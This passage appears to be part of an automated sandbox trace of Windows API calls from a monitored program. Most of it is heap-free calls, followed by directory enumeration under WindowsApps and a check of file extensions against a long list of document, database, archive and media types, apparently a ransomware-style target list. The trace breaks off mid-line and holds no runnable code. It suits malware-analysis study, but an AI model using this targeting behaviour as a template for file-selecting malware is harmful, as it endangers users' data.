lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.343] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.345] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.345] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.345] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.345] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.346] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.346] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.352] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.354] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.354] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.354] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.354] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.355] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.356] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.356] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.357] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.360] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.360] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.360] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.361] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.377] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.377] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.378] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.378] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.543] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.543] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.544] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.547] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.749] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0061.749] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.750] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.752] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.761] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.762] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.795] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.796] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.796] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.797] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.797] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.797] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.797] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.797] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.798] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.805] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0061.805] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.807] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.807] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0061.816] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.820] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.821] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.906] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.906] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.906] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0061.907] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.943] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0061.944] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0061.995] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.996] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0061.996] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.001] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.101] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.124] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.135] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.160] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.176] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0062.176] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.185] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0062.186] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0062.186] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.187] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.228] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0062.228] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.230] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.230] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.231] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.232] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.233] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.233] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.236] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.236] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.239] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.240] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.242] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.242] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.242] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.246] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.246] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.246] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.284] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.285] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.286] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0062.292] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.306] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.310] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.310] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.313] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.314] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.315] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.319] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.320] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.321] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.322] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.322] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.323] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.324] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.324] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.325] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.325] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.325] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.396] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.419] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.419] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.423] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.423] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.426] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.530] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.538] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.550] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0062.550] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.553] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.553] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.558] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.558] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.558] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.593] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.595] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.595] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.610] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.611] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.611] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.632] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.633] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.634] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.635] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.636] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.636] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.636] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.637] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.638] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.638] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.640] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0062.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.641] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.653] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0062.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0062.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.667] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.674] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.674] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.679] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.680] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.680] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4323f08 | out: hHeap=0x690000) returned 1 [0062.691] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0062.694] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.695] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.695] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.695] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.695] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.695] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.695] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4353f20 [0062.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\*", lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0x4280800 [0062.695] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.695] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0062.695] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0062.695] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0062.695] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0062.695] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.696] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.696] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.696] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.696] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.696] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.696] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.696] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.696] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.696] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.696] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.697] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.698] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.698] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.698] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.698] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.698] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.698] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.698] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0062.698] lstrlenW (lpString="StoreLogo.scale-200.png") returned 23 [0062.698] lstrlenW (lpString=".1cd") returned 4 [0062.698] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0062.698] lstrlenW (lpString=".3ds") returned 4 [0062.698] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0062.698] lstrlenW (lpString=".3fr") returned 4 [0062.698] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0062.698] lstrlenW (lpString=".3g2") returned 4 [0062.698] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0062.698] lstrlenW (lpString=".3gp") returned 4 [0062.698] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0062.698] lstrlenW (lpString=".7z") returned 3 [0062.698] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0062.698] lstrlenW (lpString=".accda") returned 6 [0062.698] lstrcmpiW (lpString1=".accda", lpString2="00.png") returned -1 [0062.698] lstrlenW (lpString=".accdb") returned 6 [0062.698] lstrcmpiW (lpString1=".accdb", lpString2="00.png") returned -1 [0062.699] lstrlenW (lpString=".accdc") returned 6 [0062.699] lstrcmpiW (lpString1=".accdc", lpString2="00.png") returned -1 [0062.699] lstrlenW (lpString=".accde") returned 6 [0062.699] lstrcmpiW (lpString1=".accde", lpString2="00.png") returned -1 [0062.699] lstrlenW (lpString=".accdt") returned 6 [0062.699] lstrcmpiW (lpString1=".accdt", lpString2="00.png") returned -1 [0062.699] lstrlenW (lpString=".accdw") returned 6 [0062.699] lstrcmpiW (lpString1=".accdw", lpString2="00.png") returned -1 [0062.699] lstrlenW (lpString=".adb") returned 4 [0062.699] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0062.699] lstrlenW (lpString=".adp") returned 4 [0062.699] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0062.699] lstrlenW (lpString=".ai") returned 3 [0062.699] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0062.699] lstrlenW (lpString=".ai3") returned 4 [0062.699] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0062.699] lstrlenW (lpString=".ai4") returned 4 [0062.699] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0062.699] lstrlenW (lpString=".ai5") returned 4 [0062.699] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0062.699] lstrlenW (lpString=".ai6") returned 4 [0062.699] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0062.699] lstrlenW (lpString=".ai7") returned 4 [0062.699] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0062.699] lstrlenW (lpString=".ai8") returned 4 [0062.699] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0062.699] lstrlenW (lpString=".anim") returned 5 [0062.699] lstrcmpiW (lpString1=".anim", lpString2="0.png") returned -1 [0062.699] lstrlenW (lpString=".arw") returned 4 [0062.699] lstrcmpiW (lpString1=".arw", lpString2=".png") 